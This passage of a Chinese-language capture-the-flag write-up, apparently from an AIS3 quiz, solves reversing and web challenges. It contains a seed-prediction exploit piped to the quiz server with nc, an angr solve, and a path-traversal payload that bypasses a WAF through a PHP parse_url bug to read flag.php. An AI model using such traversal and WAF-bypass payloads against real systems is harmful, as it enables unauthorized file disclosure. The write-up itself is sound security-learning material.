enumerate(encrypted): 506 | for a in range(0x20, 0x7F): 507 | if ((((i ^ a) << ((i ^ 9) & 3)) | ((i ^ a) >> (8 - ((i ^ 9) & 3)))) + 8) & 0xFF == d: 508 | print(chr(a), end='') 509 | break 510 | ``` 511 | 512 | ``` 513 | $ python solve.py 514 | ais3{readING_ASSemblY_4_FUN!} 515 | ``` 516 | 517 | ## remote1 518 | Flag: `ais3{sEEd_is_cRiTiCaL_@_@}` 519 | 520 | 題目: 521 | ``` 522 | telnet quiz.ais3.org 2154 523 | (檔案) remote1 524 | ``` 525 | 526 | 以 IDA Pro 拆開 `remote1` 之後,不用多久就可以看出這是一個先產生亂數,和使用者輸入比較是否一致,才會噴出 flag 的程式。 527 | 528 | ![remote1 pseudocode](http://i.imgur.com/ydj67S8.png) 529 | 530 | 比較特別的是下面在比對的是 ( 隨機數字 ^ 輸入數字 == 538354003 ),而不是單純的猜亂數,在之後解題的時候需要注意一點。 531 | 532 | 回到正題,而我們要怎麼猜出那個數字是什麼,一次就成功答對呢? 533 | 534 | 我們可以看到前面的 `srand()` 那邊,是以 `time(0)` 作為產生偽亂數的種子碼,因為 `glibc` 的實做方式都是一樣的(Linear Congruential Generator;LCG),所以只要在跟主機同時 call `srand()` 函數,就會產生出一樣的「亂數」。 535 | 536 | 寫寫 code: 537 | 538 | ```c 539 | #include 540 | #include 541 | #include 542 | 543 | int main(void) 544 | { 545 | int number; 546 | srand(time(0)); 547 | number = rand(); 548 | printf("%d", number ^ 538354003); 549 | return 0; 550 | } 551 | ``` 552 | 553 | 再來: 554 | 555 | ``` 556 | $ gcc printrand.c -o printrand 557 | $ chmod +x printrand 558 | $ ./printrand | nc quiz.ais3.org 2154 559 | Enter passcode: Correct! 560 | ais3{sEEd_is_cRiTiCaL_@_@} 561 | ``` 562 | 563 | Flag 就出來囉! 564 | 565 | (注意我這裡先前有透過 NTP 校時過,如果時間不對的話可能會因為些許時差而產生出不同的亂數。) 566 | 567 | ## binary3 568 | Flag: `ais3{a XOR b XOR 1oo1l}` 569 | 570 | 題目: 571 | ``` 572 | Read the binary! 573 | (檔案) caaaaalucate 574 | ``` 575 | 576 | 用 angr..... 神奇的黑魔法 orz 577 | 578 | 程式會讀輸入然後再喂進 verify 驗證,我們要算出可以正確通過的輸入。 579 | 580 | 用 radare2 可以看出要想辦法跳過去的 address(Bingo),還有不該跳過去的 address(QQ): 581 | 582 | ``` 583 | | call sym.imp.read ;[a] | 584 | | lea rax, [rbp-local_14] | 585 | | mov rdi, rax | 586 | | call sym.verify ;[b] | 587 | | mov dword [rbp - 4], eax | 588 | | cmp dword [rbp - 4], 1 ; [0x1:4]=0x2464c45 | 589 | | jne 0x40247d ;[c] | 590 | =----------------------------------------------= 591 | t f 592 | .-------------------' '-------------------------. 593 | | | 594 | | | 595 | =---------------------------------------= =-------------------------------------------= 596 | | 0x40247d | | 0x402471 | 597 | | ; JMP XREF from 0x0040246f (sym.main) | | mov edi, str.Bingo_ ; "Bingo!" @ 0x402514 | 598 | | mov edi, 0x40251b | | call sym.imp.puts ;[d] | 599 | | call sym.imp.puts ;[d] | | jmp 0x402487 ;[e] | 600 | =---------------------------------------= =-------------------------------------------= 601 | v v 602 | '-----------------------.---------------------' 603 | | 604 | | 605 | =---------------------------------------= 606 | | 0x402487 | 607 | | ; JMP XREF from 0x0040247b (sym.main) | 608 | | leave | 609 | | ret | 610 | =---------------------------------------= 611 | ``` 612 | 613 | find = 0x402471,avoid = 0x40247d,輸入 angr 讓他跑跑跑: 614 | 615 | ```python 616 | >>> import angr 617 | >>> p = angr.Project("caaaaalculate") 618 | >>> ex = p.surveyors.Explorer(find=(0x402471, ), avoid=(0x40247d, )) 619 | >>> ex.run() 620 | 621 | >>> ex.found[0] 622 | 623 | >>> ex.found[0].state.posix.dumps(0) 624 | "ais3{a XOR b XOR 1oo1l}@@@@@@@" 625 | ``` 626 | 627 | 一切交給外星科技,我連怎麼解的都不知道Orz 628 | 629 | ## web3 630 | Flag: `ais3{haha!i_bypassed_the_fucking_waf!}` 631 | 632 | 題目: 633 | ``` 634 | https://quiz.ais3.org:8013 635 | ``` 636 | 637 | 題目的 `download.php` 有 LFI 漏洞,可以讀 source,可是有加 waf filter(在 `../waf.php`),擋住含有 `flag` 的輸入, 638 | 639 | 這題利用了 PHP 5 的 `parse_url` 的一個漏洞([https://bugs.php.net/bug.php?id=66813](https://bugs.php.net/bug.php?id=66813)),只要有 URL query string 有冒號+數字,就會讓 `parse_url` 直接噴出 `bool(false)`。
640 | 這樣一來 `waf.php` 裡面 `stristr` 判斷的就只會是空字串,在 `download.php` 中卻可以拿到正確的 `$_GET['p']`。 641 | 642 | (這個也是之後拆開才發現的,跟原本自己想的不一樣) 643 | 644 | [https://quiz.ais3.org:8013/download.php?p=../flag.php:0](https://quiz.ais3.org:8013/download.php?p=../flag.php:0) 645 | --------------------------------------------------------------------------------